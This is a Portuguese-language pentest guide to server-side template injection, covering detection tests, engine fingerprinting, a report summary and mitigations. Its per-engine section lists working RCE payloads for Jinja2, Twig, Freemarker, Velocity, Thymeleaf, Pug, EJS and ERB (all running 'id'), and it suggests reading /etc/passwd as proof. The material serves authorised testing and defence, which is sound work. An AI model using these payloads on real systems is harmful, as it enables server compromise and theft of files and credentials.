SSTI (Server-Side Template Injection) é o que acontece quando uma aplicação concatena entrada do usuário diretamente em um template que é avaliado no servidor. O motor de template (Jinja2, Twig, Freemarker, etc.) deixa de enxergar a entrada como dado a ser exibido e passa a tratá-la como código de template a ser executado. A partir daí, o que era um campo de nome, uma assinatura de e-mail ou um parâmetro de URL vira uma expressão arbitrária rodando no contexto do processo da aplicação. Template engines existem justamente para avaliar expressões e, em muitos casos, acessar objetos e métodos da linguagem hospedeira. Por isso, o SSTI costuma escalar de “consigo calcular 7*7” para RCE (execução remota de código) com uma facilidade que assusta. É essa proximidade com a linguagem que separa o SSTI do XSS. Ambos são injeção de marcação, mas o XSS executa no navegador da vítima (contexto cliente, sandbox do browser, impacto sobre a sessão de quem acessa) e o SSTI executa no servidor (contexto da aplicação, sistema de arquivos, rede interna, credenciais). A família é a mesma; a gravidade não chega nem perto.
Como funciona
Um template engine recebe um template (texto com marcadores) e um contexto (um dicionário de variáveis) e produz uma string final. Quando você escreve Hello {{ name }} e passa {"name": "Alice"}, o engine substitui {{ name }} por Alice. Aqui está tudo certo, porque name foi tratado como dado.
O problema nasce quando o desenvolvedor monta o próprio template a partir da entrada do usuário. Em Python/Flask com Jinja2, a diferença é literalmente uma linha:
from jinja2 import Template
# SEGURO — entrada vai como dado no contexto
Template("Hello {{ name }}").render(name=user_input)
# VULNERÁVEL — entrada vira parte do template, é avaliada
Template("Hello " + user_input).render()
Na versão vulnerável, se user_input for Alice, nada acontece. Mas se for {{ 7*7 }}, o engine encontra um marcador no template que ele mesmo está compilando e avalia a expressão: a saída vira Hello 49. Esse 49 é a prova de que a entrada não foi exibida, e sim executada no servidor.
No fundo, o erro está em confundir o template (lógica, confiável) com o contexto (dados, não confiável). Engines são projetados para avaliar expressões, e muitos expõem o suficiente da linguagem hospedeira (atributos de objetos, classes base, módulos) para que uma expressão vire leitura de arquivo, chamada de sistema ou acesso a variáveis de ambiente. Vemos isso em cenários clássicos: e-mails transacionais com “template customizável”, páginas de erro que ecoam parâmetros, geradores de relatório ou fatura, e qualquer endpoint que aceite “personalize sua mensagem”.
Como detectar
Detectar SSTI tem duas etapas: confirmar que há avaliação no servidor e identificar qual engine está por trás.
O primeiro teste é matemático, porque é inequívoco. Se a aplicação reflete 7, mas você injeta uma expressão e ela volta como 49, algo avaliou a multiplicação e não há mais ambiguidade. O detalhe é que cada família de engine usa uma sintaxe de marcador diferente:
{{7*7}} → Jinja2, Twig, Nunjucks, Handlebars (sintaxe de chaves duplas)
${7*7} → Freemarker, Velocity, Thymeleaf (sintaxe de dólar)
<%= 7*7 %> → ERB (Ruby), EJS (Node)
#{7*7} → Pug, e algumas variantes
Por isso costuma valer mais a pena usar um polyglot, uma string única que dispara em múltiplos contextos ao mesmo tempo, para você ver qual sintaxe “pegou”:
${{<%[%'"}}%\
Se algo quebra, reflete um valor calculado ou gera erro de template, você está na pista. A partir daí, uma árvore de decisão separa engines que compartilham sintaxe. O teste mais útil é {{7*'7'}}, que se comporta de forma diferente conforme a semântica da linguagem:
{{7*7}} responde 49? → família de chaves duplas confirmada
{{7*'7'}} responde 7777777? → Jinja2 (Python: int * str repete a string)
{{7*'7'}} responde 49? → Twig (PHP: '7' é coagido para inteiro)
A lógica é “responde X, então engine Y”: multiplicar inteiro por string e ter a string repetida indica Python (Jinja2); coerção numérica indica PHP (Twig). Para a família de dólar, dispare payloads específicos de Freemarker, Velocity e Thymeleaf e observe qual produz saída ou erro distinto. Mensagens de erro também entregam o jogo. Um stack trace com jinja2.exceptions, freemarker.core ou org.thymeleaf resolve a identificação na hora. Sempre comece pela detecção genérica (7*7) e depois refine com payloads que só uma engine entende.
Por engine
Jinja2 (Python/Flask) — o vetor é navegar a hierarquia de objetos Python a partir de um literal até alcançar subprocess ou os. Um payload representativo de RCE:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Quando self não está acessível, vale a cadeia alternativa que parte de uma string vazia e sobe via __class__/__mro__/__subclasses__:
{{ ''.__class__.__mro__[1].__subclasses__() }}
Twig (PHP) — em versões modernas, o filtro map/filter aplicando uma função do PHP é o caminho mais limpo. O payload usual combina filter com system:
{{['id']|filter('system')}}
Em ambientes legados (Twig 1.x), a cadeia via _self ainda aparece:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
(Note que o filtro registrado deve ser a função de execução, ex. system ou exec, e o filtro chamado em seguida é o comando — id.)
Freemarker (Java) — a API expõe Execute diretamente, e é por isso que Freemarker é tão explorável:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Velocity (Java) — abusa de reflection a partir de uma classe qualquer para chegar ao Runtime. Um payload típico:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
$rt.getRuntime().exec('id')
A forma compacta clássica também funciona:
#set($e="exec")$rt.getRuntime().$e("id")
(Em ambos, o que importa é obter java.lang.Runtime via forName e invocar getRuntime().exec(...).)
Thymeleaf (Spring) — expression preprocessing com __${...}__ força a avaliação de SpEL, que abre Runtime. O vetor mais comum passa por um fragmento na URL ou na expressão:
${T(java.lang.Runtime).getRuntime().exec('id')}
Em pré-processamento de fragmento:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
Pug (Node) — permite bloco de JavaScript inline via interpolação não escapada, então é RCE direto:
#{global.process.mainModule.require('child_process').execSync('id')}
EJS (Node) — historicamente, o RCE conhecido não vem do delimitador de saída (que avalia uma expressão simples), e sim do abuso de opções de renderização, como o parâmetro outputFunctionName. Quando há controle sobre o template ou as opções, a injeção em scriptlet executa JS arbitrário:
<% global.process.mainModule.require('child_process').execSync('id') %>
(O delimitador <%= ... %> imprime o resultado de uma expressão; para statements arbitrários use <% ... %>.)
Handlebars (Node) — logic-less por design, mas explorável via manipulação do protótipo de constructor para construir uma função e executá-la (cadeia longa, bem documentada no PayloadsAllTheThings; o gatilho é alcançar require('child_process')).
ERB (Ruby) — o scriptlet avalia Ruby puro. As formas mais usadas:
<%= `id` %>
Ou, equivalente: <%= system("id") %> / <%= IO.popen('id').read %>.
Como exploramos no pentest
O fluxo é sempre o mesmo, e a disciplina importa tanto quanto o payload.
-
Detectar. Injetar
{{7*7}},${7*7}e<%= 7*7 %>em cada ponto refletido. Procurar por49, comportamento anômalo ou erro de template. Em casos cegos (sem reflexo direto), usar payloads que disparam delay ou interação out-of-band para confirmar avaliação no servidor. -
Identificar a engine. Aplicar a árvore de decisão:
{{7*'7'}}para separar Jinja2 (7777777) de Twig (49); payloads de$-família para Freemarker/Velocity/Thymeleaf; ler com atenção qualquer stack trace, que costuma nomear a engine direto. -
Contornar sandbox / escalar. Várias engines rodam em sandbox (Jinja2
SandboxedEnvironment, sandbox do Twig, SpEL restrito). O trabalho aqui é encontrar a cadeia de objetos que escapa: subir de um literal para__globals__/__builtins__em Python, alcançarRuntimevia reflection em Java, ou chegar achild_processem Node. É a etapa que mais exige conhecimento específico da engine. -
Leitura de arquivo ou RCE. Antes de ir para RCE, a leitura de arquivo já costuma comprovar impacto crítico com menos ruído. Ler
/etc/passwdou um arquivo de configuração com credenciais demonstra acesso ao filesystem sem executar processo nenhum. -
Demonstrar impacto — com comando inócuo. A prova de RCE deve usar comandos não destrutivos e idempotentes:
id,whoami,hostname,uname -a. Nunca rode nada que altere estado, apague dados ou exfiltre informação real do cliente. O objetivo é evidenciar capacidade, não causar dano.
Sobre a evidência: capture o request completo e a resposta com a saída do comando; registre o payload exato, o timestamp e o usuário ou contexto sob o qual o código rodou (o output de id já entrega isso). Se houver leitura de arquivo, prefira um arquivo de sistema previsível (/etc/passwd) a vasculhar dados sensíveis do cliente. Documente a engine identificada e a versão, porque isso direciona a remediação. Toda a cadeia, do 7*7 ao id, deve estar reproduzível no relatório.
Resumo para o relatório
Impacto: Execução remota de código no servidor de aplicação via injeção em template avaliado server-side, com acesso ao sistema de arquivos, variáveis de ambiente/credenciais e rede interna. Severidade: Crítica. CVSS 4.0:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H(escopo/sistemas subsequentes em High pela capacidade de pivotar para a rede interna; ajusteSC/SI/SAparaNse o segmento não permitir movimento lateral). Pré-condições: Entrada do usuário concatenada/interpolada no corpo do template (em vez de passada como variável de contexto); engine sem sandbox efetivo ou com bypass conhecido. Evidência: Payload{{7*7}}retornou49(avaliação server-side confirmada);{{7*'7'}}retornou7777777(Jinja2); execução deidretornou a identidade do processo da aplicação. Requests, respostas e timestamps anexados.
Como mitigar
A regra de ouro é nunca tratar entrada do usuário como template. Entrada é dado; ela entra pelo contexto, não pelo corpo do template:
from jinja2 import Template
# INSEGURO — entrada controla a estrutura do template
def render_unsafe(user_input):
return Template("Hello " + user_input).render()
# SEGURO — template é fixo, entrada vai como variável de contexto
TEMPLATE = Template("Hello {{ name }}")
def render_safe(user_input):
return TEMPLATE.render(name=user_input)
No caso seguro, {{ 7*7 }} no user_input é renderizado literalmente como o texto {{ 7*7 }}, porque o engine só avalia marcadores que já estavam no template fixo. Os dados do contexto nunca são reinterpretados como template.
Demais controles:
- Templates logic-less. Prefira engines/modos que separam dados de lógica por design (Mustache, Handlebars em modo restrito). Menos expressividade no template, menos superfície de ataque.
- Nunca renderizar templates controlados pelo usuário. Se o produto exige “templates customizáveis” pelo cliente, essa é uma feature de risco máximo: trate-a como código de terceiros executando no seu servidor.
- Conheça os limites reais do sandbox. Jinja2
SandboxedEnvironment, sandbox do Twig e SpEL restrito ajudam, mas têm bypasses históricos. O sandbox é defesa em profundidade, não a defesa primária. Não conte com ele para conter entrada hostil. - Separe dados de lógica. A entrada do usuário sempre como argumento de
render(...), nunca via concatenação de strings no template. - Allowlist. Se o usuário precisa escolher um template, ofereça uma lista fechada de templates pré-aprovados no servidor — ele seleciona por ID, não fornece o conteúdo.
- Mantenha a engine atualizada. Muitos bypasses de sandbox são corrigidos em versões posteriores; rodar uma versão antiga reabre vetores já fechados.
Checklist de mitigação
- Garantir que nenhuma entrada do usuário é concatenada/interpolada no corpo de um template
- Passar toda entrada exclusivamente como variável de contexto em
render() - Eliminar qualquer feature de “template customizável” controlado pelo usuário ou isolá-la fortemente
- Preferir templates logic-less quando o caso de uso permitir
- Usar allowlist de templates pré-aprovados (seleção por ID, não por conteúdo)
- Habilitar o modo sandbox da engine como defesa em profundidade — sem confiar nele como única barreira
- Manter a template engine na versão mais recente e acompanhar CVEs de bypass
- Adicionar testes que injetam
{{7*7}}/${7*7}e validam que a saída é literal, não49
SSTI é um daqueles bugs em que a diferença entre seguro e crítico cabe em uma única linha de código: a fronteira entre passar a entrada como dado e deixá-la virar template. Trate o template como lógica e o dado como dado, e a classe inteira de vulnerabilidade some. Para testar payloads por engine sem decorar cadeias, use nossa cheatsheet interativa de SSTI. E, como SSTI e XSS são da mesma família de injeção que muda tudo dependendo de onde o código roda, vale comparar com o guia de XSS.


